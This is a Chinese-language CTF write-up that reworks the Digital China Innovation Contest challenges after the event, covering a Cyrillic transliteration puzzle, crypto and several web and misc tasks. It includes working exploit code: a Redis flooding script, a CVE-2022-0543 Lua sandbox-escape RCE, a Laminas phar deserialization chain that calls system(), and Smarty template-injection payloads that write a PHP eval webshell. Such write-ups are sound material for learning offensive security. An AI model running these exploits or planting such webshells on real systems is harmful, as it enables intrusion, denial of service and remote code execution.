【数字中国创新大赛】赛后复现

前言

为什么说是赛后复现,因为大部分都没做出来,tcl(。

虎符赛道

Plain Text

给了一串base64,解码后得到:

1
dOBRO POVALOWATX NA MAT^, WY DOLVNY PEREWESTI \TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^NYE. qBLO^NYJ ARBUZ. vELAEM WAM OTLI^NOGO DNQ.

啥玩意看得我一愣一愣的,各种尝试也没试出来,然后我队友放翻译软件里面试了试,发现有猫腻,发现是俄文,对应转化:

1
2
3
а-a、б-b、в-v、г-g、д-d、е-je、ё-jo、ж-zh、з-z、и-e、й-jj、к-k、л-l、м-m、н-n、о-o、п-p、
р-r、с-s、т-t。
у-u、ф-f、х-kh、ц-c、ч-ch、ш-sh、щ-sch、ъ-" ы-y ь-'、э-eh、ю-ju、я-ja

因此原文转化为:

1
2
3
дОБРО ПОВАЛОШАТХ НА МАТ^,ШЫ ДОЛВНЫ ПЕРЕШЕСТИ эТО НА АНГЛИЙСКИЙ
ЯЗЫК. тШОЙ СЕКРЕТ СОСТОИТ ИЗ ДBa СЛОBa. шСЕ БУКШЫ СТРО^НЫЕ.
яБЛО^НЫЙ АРБУЗ. вЕЛАЕМ ШАМ ОТЛИ^НОГО ДНЯ.

最后翻译得到flag:

1
2
3
WELCOME TO MATH, YOU SHOULD TRANSFER THIS INTO ENGLISH
LANGUAGE. YOUR SECRET IS A TWO WORD. SHSE BUKSHY STROKE.
APPLE ^ WATERMELON. WE WILL HAVE A GOOD DAY.

Quest-Crash

打崩redis就可以了,redis连接数超过10000后就会无法连接,一直发包就可以了。

用bp或写exp都可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import json

url = "http://120.76.219.239:25502/sendreq"
s = requests.session()
headers = {'Content-Type': 'application/json'}

for i in range(0,1000000):
data0 = {
"query": f"SET \"{i}\" \"{str(i)*10000}\"",
}

data1 = {
"query": f"GET \"{i}\"",
}
data2 = {
"query": "GETFLAG",
}

r0 = s.post(url=url, data=json.dumps(data0), headers=headers)
r1 = s.post(url=url, data=json.dumps(data1), headers=headers)
r2 = s.post(url=url, data=json.dumps(data2), headers=headers)
print(r2.text)

Quest-RCE

万万没想到misc要用cve打,实在难崩,而且我前一天还刚刚看过p牛写的关于这个cve的文章,结果做的时候就忘了。(

cve-2022-0543,Redis Lua 沙盒逃逸 RCE。
原理文章:
CVE-2022-0543

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
session = requests.Session()
rawBody = "{\"query\":\"INFO\\neval 'local io_l =
package.loadlib(\\\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\\\",
\\\"luaopen_io\\\"); local io = io_l(); local f = io.popen(\\\"cat /f*\\\",
\\\"r\\\"); local res = f:read(\\\"*a\\\"); f:close(); return res' 0\"}"
headers = {"Origin":"http://120.25.155.106:21570","Accept":"*/*","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/99.0.4844.74
Safari/537.36","Referer":"http://120.25.155.106:21570/","Connection":"close","
Accept-Encoding":"gzip, deflate","Accept-Language":"zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6","Content-Type":"application/json"}
response = session.post("http://120.25.155.106:25502/sendreq", data=rawBody,
headers=headers)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)

other

babysql和ezphp这两题暂时没时间或者环境原因还没有复现,等之后有条件了再复现。

红明谷赛道

MissingFile

再也不相信取证了,直接string就能搜出来……

或者010进去搜索字符串也可以

Fan website

www.zip源码泄露,下载下来审计,发现是laminas组件,并且找到下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public function imgdeleteAction()
{
$request = $this->getRequest();
if(isset($request->getPost()['imgpath'])){
$imgpath = $request->getPost()['imgpath'];
$base = substr($imgpath,-4,4);
if(in_array($base,$this->white_list)){ //白名单
@unlink($imgpath);
}else{
echo 'Only Img File Can Be Deleted!';
}
}
}

这个地方通过删除文件可以触发phar反序列化,到时候专门写篇博客具体学习phar反序列化。

接着发现有过滤:

1
2
3
4
5
6
7
8
9
if(in_array($base,$this->white_list)){   //白名单限制
$cont = file_get_contents($data["image-file"]["tmp_name"]);
if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
die("Not This");
}
if($data["image-file"]["size"]<3000){
die("The picture size must be more than 3kb");
}
$img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;

使用gzip压缩绕过前面的过滤,大小过滤使用$phar->addFromString写入进行绕过。接着通过现有的链子进行改编,得到exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//https://xz.aliyun.com/t/8975

<?php

namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}


namespace Laminas\Log\Writer{
abstract class AbstractWriter{}

class Mail extends AbstractWriter{
protected $eventsToMail = ["cat /flag"]; // cmd cmd cmd
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}

namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace{
$a = new \Laminas\Log\Logger();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = $a;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", str_repeat("mrl64",999999));//添加文件,签名自动计算
$phar->stopBuffering();
}
?>

获取phar文件,如果报错的话可以去php.ini中更改配置:

1
2
3
[Phar]
; http://php.net/phar.readonly
phar.readonly = Off

然后进行一波gzip打包,将文件后缀改为png后上传,最后在删除图片的路由下删除图片获取flag,payload:

1
phar://./public/img/xxxxxxx.png

Smarty_calculator

仍然是www.zip源码泄露,首先是index.php中对cookie判断,因此发包时要在cookie上添加login=1

方法一

非预期解,接着审Smarty的代码,首先data传进后被display方法处理,因为包含了Smarty.class.php,因此从这个文件跟进。当时做题的时候没看出来问题在哪,后来去群里看了看发现这里存在一个cve:
php 沙箱逃逸,PHP Smarty模版代码注入漏洞(CVE-2021-26120
Smarty Template Engine Multiple Sandbox Escape PHP Code Injection Vulnerabilities

然后群里的大佬说math那个地方存在eval函数,github上也存在相关测试数据。

测试后发现function.math.php中存在报错。这个cve在这题中可以直接利用,不过要绕waf。

先构造payload写入webshell,然后绕过即可,例如八进制、URL编码配合换行绕过等等:

1
data=eval:{$x="42"}{math equation="("file_put_contents")("123.php","<?php eval($_REQUEST['aaa']);?>")"}

蚁剑连接后利用插件绕过disable_functions,在根目录获取flag。

或者直接构造变量替换:

1
2
?1=phpinfo();
data=eval:{$x = "4"}{$y = "5.5"}{math equation="`calc` x * y" x=$x y=$y}

方法二

官方wp中的方法,通过对比官方源码的区别找到正则,并且官方的CHANGELOG.md中提到了安全问题:

1
{function name='blah'}{/function}

通过换行绕过正则读取phpinfo,发现open_basedir以及disable_functions,这里就可以写webshell或者通过ini_set配合 chdir的trick来绕过open_basedir读取flag:

1
2
?1=phpinfo();
data=%7Bfunction%20name%3D'exp()%7B%7D%3Beval(%24_GET%5B1%5D)%3Bfunction%0A%0A'%7D%7B%2Ffunction%7D

easy_ya

task.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
import os

from flag import flag
def gen():
e = 3
while True:
try:
p = getPrime(512)
q = getPrime(512)
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
return p,q,d,n,e
except:
continue
return
p,q,d,n,e = gen()
r = getPrime(512)
m = bytes_to_long(flag+os.urandom(32))
M = m%r
c = pow(m,e,n)
print("r = %d"%r)
print("M = %d"%M)
print("n = %d"%n)
print("e = %d"%e)
print("c = %d"%c)
'''
r = 7996728164495259362822258548434922741290100998149465194487628664864256950051236186227986990712837371289585870678059397413537714250530572338774305952904473
M = 4159518144549137412048572485195536187606187833861349516326031843059872501654790226936115271091120509781872925030241137272462161485445491493686121954785558
n = 131552964273731742744001439326470035414270864348139594004117959631286500198956302913377947920677525319260242121507196043323292374736595943942956194902814842206268870941485429339132421676367167621812260482624743821671183297023718573293452354284932348802548838847981916748951828826237112194142035380559020560287
e = 3
c = 46794664006708417132147941918719938365671485176293172014575392203162005813544444720181151046818648417346292288656741056411780813044749520725718927535262618317679844671500204720286218754536643881483749892207516758305694529993542296670281548111692443639662220578293714396224325591697834572209746048616144307282
'''

这题的本质是e低指数,但是不能用之前用的常规脚本,因为估计这个e不是整数,需要使用到coppersmith的求根方法对系数进行爆破,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//sage
from Crypto.Util.number import *

r = 7996728164495259362822258548434922741290100998149465194487628664864256950051236186227986990712837371289585870678059397413537714250530572338774305952904473
M = 4159518144549137412048572485195536187606187833861349516326031843059872501654790226936115271091120509781872925030241137272462161485445491493686121954785558
n = 131552964273731742744001439326470035414270864348139594004117959631286500198956302913377947920677525319260242121507196043323292374736595943942956194902814842206268870941485429339132421676367167621812260482624743821671183297023718573293452354284932348802548838847981916748951828826237112194142035380559020560287
e = 3
c = 46794664006708417132147941918719938365671485176293172014575392203162005813544444720181151046818648417346292288656741056411780813044749520725718927535262618317679844671500204720286218754536643881483749892207516758305694529993542296670281548111692443639662220578293714396224325591697834572209746048616144307282

kbits = 100
m0 = M
PR.<x> = PolynomialRing(Zmod(n))
f = ((M + x*r)^e) - c
f = f.monic()
x0 = f.small_roots(X=2^kbits,beta=1)[0]
print(x0)
m = M + x0*r
print(long_to_bytes(m))

运行得出flag。